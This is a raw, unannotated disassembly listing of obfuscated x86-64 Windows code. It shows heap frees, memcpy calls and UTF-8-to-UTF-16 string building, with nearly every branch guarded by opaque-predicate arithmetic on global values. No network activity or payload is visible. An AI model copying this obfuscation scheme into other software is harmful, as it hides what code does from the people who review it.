nop dword [rax + rax]
mov eax, dword [0x141f3fe58]
and eax, dword [0x141f3fe5c]
imul rax, rax, 0x51b365f5
shr rax, 0x3d
imul eax, eax, 0x63d26d27
mov rcx, qword [0x141f49060]
cmp eax, 0x2a5b90cc
jne 0x1400af114
mov rax, qword [0x141f49060]
jmp 0x1400af0e0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x1f0]
cmp rax, rbx
je 0x1400af3c0
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [rsp + 0x200]
nop dword [rax]
mov edx, dword [0x141f3fe78]
add edx, dword [0x141f3fe7c]
imul rdx, rdx, 0xc57faf7
shr rdx, 0x3b
imul edx, edx, 0x7964bed4
or edx, 0xde6bf702
cmp edx, 0xfc6817b9
ja 0x1400af140
nop dword [rax + rax]
mov edx, dword [0x141f3fe80]
xor edx, dword [0x141f3fe84]
imul edx, edx, 0x96c69b9b
add edx, 0x4d2bc54b
cmp edx, 0x555bc16b
jb 0x1400af170
test rcx, rcx
je 0x1400af332
mov dword [rsp + 0x60], esi
mov rdx, qword [rsp + 0x208]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], r8
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rdx
mov r12, qword [rsp + 0x58]
nop word [rax + rax]
mov esi, dword [0x141f3fe98]
sub esi, dword [0x141f3fe9c]
add esi, 0x66d017f2
xor esi, 0xaacbe6cf
add esi, 0x45f6a81b
mov rcx, rbp
mov rdx, r12
mov r8, rdi
call fcn.14009bd30
cmp esi, 0x445889b4
jae 0x1400af220
mov rcx, rbp
mov rdx, r12
mov r8, rdi
call fcn.14009bd30
jmp 0x1400af1d0
mov eax, dword [0x141f3fea0]
sub eax, dword [0x141f3fea4]
add eax, 0xccb839fc
xor eax, 0x8b60c2f0
add eax, 0xf93cb07a
cmp eax, 0xc4804ec3
ja 0x1400af220
cmp qword [rsp + 0x150], 1
mov r12, qword [rsp + 0x78]
je 0x1400af25a
mov rcx, rbp
call fcn.1400a7f50
mov rsi, qword [rsp + 0x1f8]
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x160]
mov rdx, rsi
call fcn.1400b7d10
cmp qword [rsp + 0x1f0], 0
je 0x1400af2d0
mov rdi, qword [0x141f49060]
mov eax, dword [0x141f3fea8]
and eax, dword [0x141f3feac]
or eax, 0x4fb8eff6
add eax, 0xbc13bd23
cmp eax, 0xd4a2929f
jbe 0x1400af2b7
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x141f3feb0]
add eax, dword [0x141f3feb4]
or eax, 0x15f25db5
add eax, 0x4994f725
cmp eax, 0x939e0da7
jb 0x1400af2d0
mov rsi, qword [rsp + 0x160]
cmp rsi, rbx
jne 0x1400af3fb
nop
mov eax, dword [0x141f3fed0]
imul eax, dword [0x141f3fed4]
imul rax, rax, 0x14b38ff7
shr rax, 0x3c
imul eax, eax, 0x79e44fbd
cmp eax, 0xd5e9adc9
je 0x1400af300
mov eax, dword [rsp + 0x60]
mov byte [rsp + 0x68], al
jmp 0x1400aecf5
test rax, rax
je 0x1400af373
mov rcx, qword [0x141f49060]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x141f3fe88]
or eax, dword [0x141f3fe8c]
or eax, 0x65f3e94d
imul eax, eax, 0xf89ec8b6
add eax, 0x27e0ecc2
cmp eax, 0x7ffd0da3
jb 0x1400af350
mov r12, qword [rsp + 0x78]
nop dword [rax + rax]
mov eax, dword [0x141f3fe90]
xor edx, edx
div dword [0x141f3fe94]
xor eax, 0x200c0221
and eax, 0x6e6c0223
add eax, 0x1223b382
cmp eax, 0xa6f144fd
ja 0x1400af380
mov eax, esi
mov byte [rsp + 0x68], sil
jmp 0x1400aecf5
mov sil, 1
jmp 0x1400aefed
mov rdi, rbp
jmp 0x1400ac98f
cmp qword [rsp + 0x70], 0
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
je 0x1400af3ef
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r14, [0x141f25a28]
jmp 0x1400aba84
mov r14, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x170]
cmp qword [rsp + 0x70], 0
je 0x1400af44e
mov eax, dword [0x141f3feb8]
xor edx, edx
div dword [0x141f3febc]
and eax, 0x83337293
xor eax, 0xaa7ba43
add eax, 0x3003b904
mov rcx, qword [0x141f49060]
cmp eax, 0x4d2e8e7f
ja 0x1400af413
xor edx, edx
mov r8, qword [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x141f3fec0]
xor eax, dword [0x141f3fec4]
imul rax, rax, 0x47d8b923
shr rax, 0x3d
xor eax, 0xee8a9562
cmp eax, 0xb312888f
jb 0x1400af44e
mov eax, dword [0x141f3fec8]
or eax, dword [0x141f3fecc]
and eax, 0x367cb3d5
imul eax, eax, 0x227ff50d
add eax, 0x9285c734
cmp eax, 0xf909bda1
ja 0x1400af471
jmp 0x1400ac98f
mov eax, dword [0x141f40030]
and eax, dword [0x141f40034]
and eax, 0x4b8e21cf
imul eax, eax, 0x4af3e827
xor eax, 0xaa01c0da
mov qword [rsp + 0xb0], r14
cmp eax, 0x6565dd0
jae 0x1400af4ce
mov qword [rsp + 0xb0], r14
jmp 0x1400af499
lea rax, [rdi + rdi*4]
lea rdi, [r15 + rax*8]
lea rsi, [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
nop word cs:[rax + rax]
cmp r15, rdi
je 0x1400af7a6
lea r14, [r15 + 0x28]
mov r13, qword [rsp + 0xb0]
nop word cs:[rax + rax]
mov eax, dword [0x141f40038]
or eax, dword [0x141f4003c]
imul rax, rax, 0x13726361
shr rax, 0x3c
imul eax, eax, 0x3f0c72c8
add eax, 0x81e5cfcb
cmp eax, 0x2e9999a8
jb 0x1400af510
cmp r13, qword [rsp + 0xa0]
jne 0x1400af5a4
xor eax, eax
test al, al
jne 0x1400af5d0
nop dword [rax]
mov eax, dword [0x141f40040]
or eax, dword [0x141f40044]
imul r12d, eax, 0x4df2df33
xor r12d, 0x46a8e1ee
mov rcx, rsi
call fcn.1400e09f0
cmp r12d, 0x2bfaa187
ja 0x1400af5d0
nop dword [rax + rax]
mov eax, dword [0x141f40048]
imul eax, dword [0x141f4004c]
imul rax, rax, 0x1d895d91
shr rax, 0x3b
xor eax, 0x3ddf1f11
cmp eax, 0x3c1c6627
jb 0x1400af580
mov eax, dword [0x141f40050]
imul eax, dword [0x141f40054]
imul eax, eax, 0x395b7f26
and eax, 0x2e82c086
xor eax, 0x34543a55
cmp eax, 0xbad0107b
ja 0x1400af60c
jmp 0x1400af5e0
mov rcx, rsi
call fcn.1400e09f0
jmp 0x1400af550
mov eax, dword [0x141f40058]
sub eax, dword [0x141f4005c]
xor eax, 0x7eea8324
add eax, 0xf4dd595c
mov rcx, qword [rsp + 0xa8]
mov word [rcx + r13*2], 0x20
cmp eax, 0x7f0238a2
jbe 0x1400af620
mov rax, qword [rsp + 0xa8]
mov word [rax + r13*2], 0x20
jmp 0x1400af5e0
mov eax, dword [0x141f40060]
or eax, dword [0x141f40064]
inc r13
xor eax, 0x8837abd5
add eax, 0x54fdb98f
cmp eax, 0xf7284018
jbe 0x1400af660
mov qword [rsp + 0xb0], r13
mov rcx, rsi
mov rdx, r15
mov r8d, ebx
call fcn.1400b8880
nop word cs:[rax + rax]
mov ebp, dword [0x141f40068]
xor ebp, dword [0x141f4006c]
add ebp, 0x960bb823
and ebp, 0xf8cfe72a
mov qword [rsp + 0xb0], r13
mov rcx, rsi
mov rdx, r15
mov r8d, ebx
call fcn.1400b8880
cmp ebp, 0x653b9388
ja 0x1400af660
mov r12, rax
mov r15, r14
test rax, rax
mov rcx, qword [rsp + 0x98]
je 0x1400af4f0
cmp qword [rsp + 0xa0], 0
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x58]
je 0x1400af770
mov eax, dword [0x141f40070]
or eax, dword [0x141f40074]
cmp eax, 0xe0874d35
jne 0x1400af6f0
mov rax, qword [0x141f49060]
nop dword [rax + rax]
mov eax, dword [0x141f40078]
sub eax, dword [0x141f4007c]
imul eax, eax, 0xeefe515
add eax, 0x9777dac
xor eax, 0x17107f04
mov rsi, qword [rsp + 0xa8]
mov rdi, qword [0x141f49060]
cmp eax, 0x9fe75cfb
ja 0x1400af6f0
mov eax, dword [0x141f40080]
and eax, dword [0x141f40084]
imul eax, eax, 0xa5dd430c
add eax, 0x14f1e80c
cmp eax, 0xb14cf932
jae 0x1400af74e
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x98]
nop word cs:[rax + rax]
mov eax, dword [0x141f40088]
imul eax, dword [0x141f4008c]
or eax, 0x9c3d39d2
imul eax, eax, 0xd027987e
add eax, 0x56be052a
cmp eax, 0xe2ea88c0
ja 0x1400af770
mov al, 1
nop word cs:[rax + rax]
test al, al
je 0x1400af7a0
jmp 0x1400af7da
mov rax, qword [rsp + 0xa0]
mov r12, qword [rsp + 0xa8]
movabs rdx, 0x8000000000000000
cmp rax, rdx
jne 0x1400af7ec
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
mov r14, qword [rsp + 0x58]
mov qword [rcx], r12
mov qword [rcx + 0x10], 2
xor edi, edi
jmp 0x1400b2ad0
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x158]
mov qword [rsp + 0x60], rcx
mov r14, qword [rsp + 0x58]
mov qword [rsp + 0x78], r14
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], r12
mov qword [rsp + 0x1b0], rbx
cmp rbx, rax
jne 0x1400af86f
lea rcx, [rsp + 0x1a0]
call fcn.1400e09f0
mov r12, qword [rsp + 0x1a8]
mov eax, dword [0x141f403e8]
and eax, dword [0x141f403ec]
or eax, 0x49bab67f
xor eax, 0x53bff8ea
add eax, 0x98f35fb4
cmp eax, 0x4fdbf5ea
ja 0x1400af84d
lea rax, [rbx + 1]
mov ecx, 0x400
mov r8, qword [rsp + 0x140]
mov edx, dword [0x141f403f0]
and edx, dword [0x141f403f4]
imul edx, edx, 0xc9bb501a
shr edx, 1
imul rdx, rdx, 0x266db67d
shr rdx, 0x3b
add edx, 0xbf8dad17
mov word [r12 + rbx*2], 0
mov qword [rsp + 0x1b0], rax
cmp byte [r8 + 0xc8], 0
mov ebp, 0x608
cmove ebp, ecx
cmp edx, 0x602167a8
jb 0x1400af880
or ebp, dword [r8 + 0xc4]
cmp byte [rsp + 0x8e], 0
je 0x1400afcd6
mov r12d, 2
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x68], rax
movabs rbx, 0x8000000000000000
mov eax, dword [0x141f405f0]
xor eax, dword [0x141f405f4]
add eax, 0xa656a82d
and eax, 0x196f961c
imul eax, eax, 0x8dec8d27
cmp eax, 0xa3ae630f
mov rax, qword [rsp + 0x140]
cmp qword [rax + 0x38], rbx
mov qword [rsp + 0x70], rcx
jne 0x1400af9f4
mov eax, dword [0x141f405f8]
imul eax, dword [0x141f405fc]
imul eax, eax, 0x8000a144
add eax, 0x929fd1b8
cmp eax, 0x92ecd371
ja 0x1400af932
xor esi, esi
mov eax, dword [0x141f40600]
xor edx, edx
div dword [0x141f40604]
or eax, 0x9c18e8e7
add eax, 0x648c76e0
or eax, 0x3506fff2
cmp eax, 0xef410dfe
ja 0x1400af953
mov eax, 2
mov qword [rsp + 0x110], rax
xor ecx, ecx
mov qword [rsp + 0x118], rcx
xorps xmm0, xmm0
mov cl, 1
mov eax, dword [0x141f40678]
xor edx, edx
div dword [0x141f4067c]
imul edx, eax, 0xa4d17c23
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], 0
xor eax, eax
lock cmpxchg byte [0x141f49050], cl
sete al
cmp edx, 0x4f914e46
jne 0x1400afd1c
movaps xmmword [rsp + 0x120], xmm0
mov qword [rsp + 0x130], 0
xor eax, eax
lock cmpxchg byte [0x141f49050], cl
jmp 0x1400af993
mov eax, dword [0x141f40608]
sub eax, dword [0x141f4060c]
add eax, 0x8278dc72
cmp eax, 0x8d6f1cc7
ja 0x1400af9f4
mov rax, qword [rsp + 0x140]
mov rcx, qword [rax + 0x40]
mov r8, qword [rax + 0x48]
add r8, rcx
xor edx, edx
mov r10, rcx
mov r9w, 1
test dx, dx
je 0x1400afa40
xor edx, edx
jmp 0x1400afc90
mov eax, dword [0x141f40610]
and eax, dword [0x141f40614]
imul eax, eax, 0x6020c3de
or eax, 0x72ccdbf6
imul eax, eax, 0x8be7639
cmp eax, 0x4068267c
jb 0x1400afa40
cmp r10, r8
je 0x1400b1050
nop dword [rax]
mov eax, dword [0x141f40618]
xor eax, dword [0x141f4061c]
and eax, 0x96d73cba
add eax, 0x6a7cea3e
cmp eax, 0x781401b7
ja 0x1400afa70
lea rbx, [r10 + 1]
movzx r11d, byte [r10]
nop word cs:[rax + rax]
mov eax, dword [0x141f40620]
or eax, dword [0x141f40624]
imul eax, eax, 0x380e86e9
add eax, 0x3c1d5554
xor eax, 0xb6fddcb
cmp eax, 0x73fa3dbe
jb 0x1400afaa0
test r11b, r11b
js 0x1400afada
mov rdi, rbx
movabs rbx, 0x8000000000000000
jmp 0x1400afc70
mov esi, r11d
and esi, 0x1f
lea rdi, [r10 + 2]
nop word cs:[rax + rax]
mov eax, dword [0x141f40628]
xor edx, edx
div dword [0x141f4062c]
imul eax, eax, 0xe20e94f7
cmp eax, 0x3c3d97f6
je 0x1400afaf0
movzx edx, byte [rbx]
and edx, 0x3f
cmp r11b, 0xdf
jbe 0x1400afbce
mov eax, dword [0x141f40630]
or eax, dword [0x141f40634]
imul rax, rax, 0x5094a161
shr rax, 0x3d
imul eax, eax, 0xfa339173
add eax, 0x59ba08c2
cmp eax, 0x2a5f6f7a
jb 0x1400afb1b
lea rax, [r10 + 3]
movzx edi, byte [rdi]
shl edx, 6
mov ebx, dword [0x141f40638]
and ebx, dword [0x141f4063c]
or ebx, 0xfbfe5bfc
add ebx, 0x9b5aa8ce
cmp ebx, 0xda25d8da
ja 0x1400afb4e
and edi, 0x3f
or edx, edi
cmp r11b, 0xf0
jb 0x1400afbe5
add r10, 4
movabs rbx, 0x8000000000000000
mov r11d, dword [0x141f40640]
xor r11d, dword [0x141f40644]
or r11d, 0xb1c354f0
xor r11d, 0x47be26f5
add r11d, 0xf5b3734b
cmp r11d, 0xe8e99eef
ja 0x1400afb87
and esi, 7
shl esi, 0x12
shl edx, 6
or edx, esi
movzx r11d, byte [rax]
and r11d, 0x3f
or r11d, edx
mov rax, r10
jmp 0x1400afbf7
shl esi, 6
or esi, edx
mov r11d, esi
movabs rbx, 0x8000000000000000
jmp 0x1400afc70
shl esi, 0xc
or edx, esi
mov r11d, edx
movabs rbx, 0x8000000000000000
mov edx, dword [0x141f40648]
or edx, dword [0x141f4064c]
and edx, 0xa5e08a5b
xor edx, 0x6e0499
add edx, 0x495e389d
cmp edx, 0xdfec91fb
ja 0x1400afbf7
cmp r11d, 0xffff
jbe 0x1400afc67
and r11d, 0x3ff
mov edx, dword [0x141f40658]
xor edx, dword [0x141f4065c]
imul edx, edx, 0x9e001083
imul rdx, rdx, 0x3b16ab01
shr rdx, 0x3a
or edx, 0x2ff12c8e
cmp edx, 0x4c0f0b21
ja 0x1400afc2d
movzx edx, r11w
or edx, 0xdc00
mov r10, rax
jmp 0x1400afc90
mov rdi, rax
nop word [rax + rax]
mov eax, dword [0x141f40650]
and eax, dword [0x141f40654]
or eax, 0xfff7fff7
cmp eax, 0xb7b559c6
jb 0x1400afc70
xor edx, edx
mov r10, rdi
mov r9d, r11d
mov eax, dword [0x141f40660]
and eax, dword [0x141f40664]
xor eax, 0xacbc8a19
add eax, 0x78a4fcfb
cmp eax, 0xe44960a0
ja 0x1400afc90
test r9w, r9w
jne 0x1400afa24
lea rsi, [0x141f259c0]
mov rax, qword [rsp + 0x98]
mov qword [rax], rsi
mov qword [rax + 0x10], 2
jmp 0x1400b2d36
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 2
mov qword [rsp + 0x130], 0
test r15, r15
mov rcx, qword [rsp + 0x198]
je 0x1400afe90
mov eax, 2
mov qword [rsp + 0x70], rax
xor eax, eax
jmp 0x1400afec8
test al, al
je 0x1400b11ca
mov eax, dword [0x141f40688]
sub eax, dword [0x141f4068c]
and eax, 0x10ec218a
add eax, 0x8cca5c5f
cmp eax, 0x312a9329
jae 0x1400afd65
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x1c0], rsi
mov rax, qword [rsp + 0x140]
lea rcx, [rax + 0x58]
lea r15, [rsp + 0x170]
mov eax, dword [0x141f40690]
sub eax, dword [0x141f40694]
and eax, 0x21ea0b13
xor eax, 0x37d84314
add eax, 0xad4e0389
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x180], 0
cmp eax, 0x69b3c386
jb 0x1400afd81
mov rax, qword [rsp + 0x140]
cmp dword [rax + 0x58], 6
cmove rcx, r13
lea rbx, [rax + 0x68]
mov r14d, dword [rax + 0x68]
lea rsi, [rax + 0x78]
cmp dword [rax + 0x78], 6
cmove rsi, r13
lea r8, [rsp + 0x160]
mov edx, 0xfffffff6
call fcn.1400ba5f0
mov rdi, rdx
mov ecx, dword [0x141f40698]
sub ecx, dword [0x141f4069c]
and ecx, 0x26042314
add ecx, 0xe9228369
cmp ecx, 0xbe185a5d
jb 0x1400afe00
cmp rax, 1
jne 0x1400b0c81
mov eax, dword [0x141f406a0]
xor eax, dword [0x141f406a4]
imul eax, eax, 0x3bb90b6a
or eax, 0x342e47ec
imul eax, eax, 0x4376cb92
cmp eax, 0xea8d4e82
mov rcx, qword [rsp + 0x98]
jbe 0x1400afe59
mov qword [rcx], rdi
mov eax, dword [0x141f406a8]
add eax, dword [0x141f406ac]
mov qword [rcx], rdi
and eax, 0x82b7771c
imul eax, eax, 0x2571fe12
cmp eax, 0xd835498
mov r14, qword [rsp + 0x58]
jb 0x1400b103b
mov qword [rcx + 0x10], 2
jmp 0x1400b2bbc
lea rcx, [rsp + 0x120]
call fcn.1400e09f0
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x70], rax
mov word [rax], 0
mov qword [rsp + 0x130], 1
mov eax, 1
mov qword [rsp + 0x148], rax
xor eax, eax
test rcx, rcx
setne al
mov rdx, rcx
mov rcx, r15
cmove rcx, rdx
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x200], rdx
mov r8, qword [rsp + 0x1b8]
mov qword [rsp + 0x208], r8
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], 0
mov qword [rsp + 0x220], rdx
mov qword [rsp + 0x228], r8
mov qword [rsp + 0x230], rcx
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x1f0]
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, 0x86c6da75
call fcn.1400b9b40
mov rdx, qword [rsp + 0xa0]
test rdx, rdx
je 0x1400b096c
mov eax, dword [0x141f403f8]
xor eax, dword [0x141f403fc]
or eax, 0xdfdffffe
cmp eax, 0xe8da00a2
mov r9, qword [rsp + 0xb0]
imul r10, r9, 0x38
mov rax, qword [rdx + r10 + 0x168]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400b096c
lea r11, [rdx + r10]
add r11, 0x168
mov r8, qword [rdx + r10 + 0x170]
mov rcx, qword [rdx + r10 + 0x178]
mov rsi, qword [rdx + r10 + 0x188]
mov qword [rsp + 0x1c0], rsi
mov r10, qword [rdx + r10 + 0x190]
mov qword [rsp + 0x118], r10
mov r10, qword [r11 + 0x30]
mov qword [rsp + 0x1e0], r10
shl r9, 5
mov r10, qword [rdx + r9]
mov qword [rsp + 0x110], r10
mov r10, qword [rdx + r9 + 8]
mov qword [rsp + 0x68], r10
mov r9, qword [rdx + r9 + 0x10]
mov edx, dword [0x141f40448]
or edx, dword [0x141f4044c]
xor edx, 0x72f91e90
imul edx, edx, 0x122b650e
add edx, 0x65b1560
cmp edx, 0xccd2b87d
ja 0x1400b000f
mov qword [rsp + 0x1e8], r9
add rcx, r8
mov edx, dword [0x141f40450]
mov r9d, dword [0x141f40454]
add edx, r9d
add edx, 0x8d696241
xor edx, 0x9d881480
cmp edx, 0x5b189963
jb 0x1400b0040
xor r10d, r10d
mov r9, r8
mov dx, 1
test r10w, r10w
je 0x1400b0080
xor r10d, r10d
jmp 0x1400b02a0
mov r10d, dword [0x141f40458]
imul r10d, dword [0x141f4045c]
add r10d, 0x58137ea8
cmp r10d, 0x47360756
jb 0x1400b0080
cmp r9, rcx
je 0x1400b02db
nop dword [rax + rax]
mov r10d, dword [0x141f40460]
add r10d, dword [0x141f40464]
or r10d, 0x9249534a
and r10d, 0xb24d534a
cmp r10d, 0xf94637be
ja 0x1400b00b0
movzx r14d, byte [r9]
test r14b, r14b
js 0x1400b00e9
inc r9
mov rsi, r9
jmp 0x1400b0284
mov r11d, r14d
and r11d, 0x1f
lea rsi, [r9 + 2]
movzx r10d, byte [r9 + 1]
and r10d, 0x3f
cmp r14b, 0xdf
jbe 0x1400b0272
nop word [rax + rax]
mov edi, dword [0x141f40468]
xor edi, dword [0x141f4046c]
cmp edi, 0xd36e3078
je 0x1400b0110
lea rdi, [r9 + 3]
movzx esi, byte [rsi]
shl r10d, 6
and esi, 0x3f
or esi, r10d
mov r10d, r11d
shl r10d, 0xc
or r10d, esi
nop
mov r15d, dword [0x141f40470]
and r15d, dword [0x141f40474]
imul r13, r15, 0x4d3e6647
shr r13, 0x20
sub r15d, r13d
shr r15d, 1
add r15d, r13d
shr r15d, 0x1e
xor r15d, 0xa5bc7bdf
imul r15d, r15d, 0x2c523235
cmp r15d, 0xb3bee88c
jb 0x1400b0140
cmp r14b, 0xf0
mov r13, qword [rsp + 0x90]
mov r15, qword [rsp + 0x80]
jb 0x1400b023a
mov r10d, dword [str.YPNEa7]
imul r10d, dword [0x141f4047c]
imul r10d, r10d, 0x69adfc3f
and r10d, 0xcc356a3c
add r10d, 0xa8798834
cmp r10d, 0x5662378b
jb 0x1400b0197
movzx r10d, byte [r9 + 3]
add r9, 4
mov edi, dword [0x141f40480]
mov r14d, dword [0x141f40484]
add edi, r14d
add edi, 0xba032634
or edi, 0x72b5878d
add edi, 0x4aab6305
cmp edi, 0x40109f71
jb 0x1400b01cd
and r11d, 7
shl r11d, 0x12
shl esi, 6
and r10d, 0x3f
or r10d, esi
mov esi, dword [0x141f40488]
and esi, dword [0x141f4048c]
xor esi, 0x8e0115d8
imul rsi, rsi, 0x545f1f59
shr rsi, 0x3b
add esi, 0x20154214
cmp esi, 0x9cb7c76
jb 0x1400b0209
or r10d, r11d
mov rdi, r9
cmp r10d, 0xffff
jbe 0x1400b027e
and r10d, 0x3ff
or r10d, 0xdc00
mov r14, qword [rsp + 0x58]
mov r9d, dword [0x141f40490]
xor r9d, dword [0x141f40494]
cmp r9d, 0x28923860
je 0x1400b0256
mov r9, rdi
jmp 0x1400b02a0
shl r11d, 6
or r11d, r10d
mov r14d, r11d
jmp 0x1400b0284
mov rsi, rdi
mov r14d, r10d
xor r10d, r10d
mov r9, rsi
mov edx, r14d
mov r14, qword [rsp + 0x58]
nop word cs:[rax + rax]
mov r11d, dword [0x141f40498]
xor r11d, dword [0x141f4049c]
imul r11, rbx
shr r11, 0x3d
imul r11d, r11d, 0x690c9887
add r11d, 0x8e5b9b6f
cmp r11d, 0x5238d1d9
jb 0x1400b02a0
test dx, dx
jne 0x1400b006a
jmp 0x1400b0b8c
test rax, rax
je 0x1400b030f
mov rcx, qword [0x141f49060]
xor edx, edx
call r12
mov eax, dword [0x141f404a8]
and eax, dword [0x141f404ac]
or eax, 0xc0e762f8
xor eax, 0x3366509a
imul eax, eax, 0xff0d33e3
cmp eax, 0x57b8abc1
ja 0x1400b02ec
mov eax, dword [0x141f404b0]
xor eax, dword [0x141f404b4]
add eax, 0xb4beda71
xor eax, 0xa7311ff4
add eax, 0x8c1737ec
cmp eax, 0x6a46c8eb
ja 0x1400b030f
mov rax, qword [rsp + 0x120]
mov r10, qword [rsp + 0x148]
sub rax, r10
mov rsi, qword [rsp + 0x1e0]
cmp rax, rsi
mov rcx, qword [rsp + 0x70]
jb 0x1400b0827
mov eax, dword [0x141f404c0]
imul eax, dword [0x141f404c4]
lea r8, [rsi + rsi]
add eax, 0x8f4befd2
or eax, 0x1fef4091
cmp eax, 0xecf13486
jbe 0x1400b03b9
mov rdi, rcx
lea rcx, [rcx + r10*2]
mov rdx, qword [rsp + 0x118]
mov qword [rsp + 0x148], r10
mov qword [rsp + 0x70], r8
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rsp + 0x70]
mov r10, qword [rsp + 0x148]
mov rcx, rdi
lea rax, [r10 + rsi]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x70], rcx
lea rcx, [rcx + r10*2]
mov rdx, qword [rsp + 0x118]
mov rdi, r10
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov qword [rsp + 0x130], rsi
cmp qword [rsp + 0x1c0], 0
je 0x1400b041e
mov rcx, qword [0x141f49060]
xor edx, edx
mov r8, qword [rsp + 0x118]
call r12
mov eax, dword [0x141f404c8]
and eax, dword [0x141f404cc]
add eax, 0xcf89aca3
or eax, 0x12b0000
and eax, 0xa9ebd800
cmp eax, 0x6c29ca7e
jb 0x1400b03fc
mov eax, dword [0x141f404d0]
sub eax, dword [0x141f404d4]
imul eax, eax, 0x33f3de28
add eax, 0xa9ebd270
and eax, 0xf10b1620
cmp eax, 0x8dddca55
ja 0x1400b041e
mov rax, qword [rsp + 0x120]
lea rcx, [rsp + 0x120]
mov r10, qword [rsp + 0x1e8]
mov edx, dword [0x141f404d8]
xor edx, dword [0x141f404dc]
or edx, 0x1fcce504
imul edx, edx, 0x8c0e6bbb
xor edx, 0xbb30625d
cmp edx, 0x53b609fe
jb 0x1400b0459
cmp rsi, rax
mov rdi, qword [rsp + 0x70]
jne 0x1400b04bc
call fcn.1400e09f0
mov rdi, qword [rsp + 0x128]
mov eax, dword [0x141f404e8]
sub eax, dword [0x141f404ec]
imul eax, eax, 0xd33f7d35
or eax, 0xf7dfbaff
cmp eax, 0xf7b3a04a
jb 0x1400b0496
mov r10, qword [rsp + 0x1e8]
mov word [rdi + rsi*2], 0x3d
inc rsi
mov qword [rsp + 0x130], rsi
mov r8, qword [rsp + 0x68]
add r10, r8
xor r9d, r9d
jmp 0x1400b04e6
xor r9d, r9d
test cx, cx
je 0x1400b0ce9
mov cx, 1
test r9w, r9w
jne 0x1400b04da
cmp r8, r10
je 0x1400b0660
lea rdx, [r8 + 1]
movzx eax, byte [r8]
nop word cs:[rax + rax]
mov r9d, dword [0x141f404f0]
or r9d, dword [0x141f404f4]
add r9d, 0x10a6a52c
cmp r9d, 0xc8e8791f
ja 0x1400b0510
test al, al
js 0x1400b0576
nop word cs:[rax + rax]
mov ecx, dword [0x141f404f8]
imul ecx, dword [str.E9f]
imul r8, rcx, 0x43fb0da3
shr r8, 0x20
sub ecx, r8d
shr ecx, 1
add ecx, r8d
shr ecx, 0x1f
add ecx, 0x6809ec71
cmp ecx, 0x9db4be03
jae 0x1400b0540
jmp 0x1400b0653
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x1400b05e8
mov rdi, r10
lea rdx, [r8 + 3]
movzx r10d, byte [r8 + 2]
mov esi, dword [0x141f40500]
xor esi, dword [0x141f40504]
and esi, 0x6bc90404
imul esi, esi, 0xfee21f88
cmp esi, 0xc330d569
ja 0x1400b0596
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp al, 0xf0
jb 0x1400b05fb
movzx eax, byte [r8 + 3]
add r8, 4
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
mov rdx, r8
jmp 0x1400b0605
add r8, 2
shl r9d, 6
or r9d, r11d
mov rdx, r8
mov eax, r9d
jmp 0x1400b0653
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp eax, 0xffff
mov r10, rdi
jbe 0x1400b0653
and eax, 0x3ff
mov r9d, 0xa99f47f1
mov r8d, dword [0x141f40508]
and r8d, dword [0x141f4050c]
imul r8, r9
shr r8, 0x3a
imul r8d, r8d, 0x807b4d2
cmp r8d, 0x58503603
jb 0x1400b061a
movzx r9d, ax
or r9d, 0xdc00
mov r8, rdx
jmp 0x1400b04dd
xor r9d, r9d
mov r8, rdx
mov ecx, eax
jmp 0x1400b04dd
mov eax, dword [0x141f40510]
xor edx, edx
div dword [0x141f40514]
xor eax, 0xa2cd3e5c
add eax, 0x287b2e39
cmp eax, 0x1e094b12
jb 0x1400b0660
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x110], rax
je 0x1400b0d14
mov eax, dword [0x141f40518]
or eax, dword [0x141f4051c]
and eax, 0xa81511b6
imul eax, eax, 0x3362c3ea
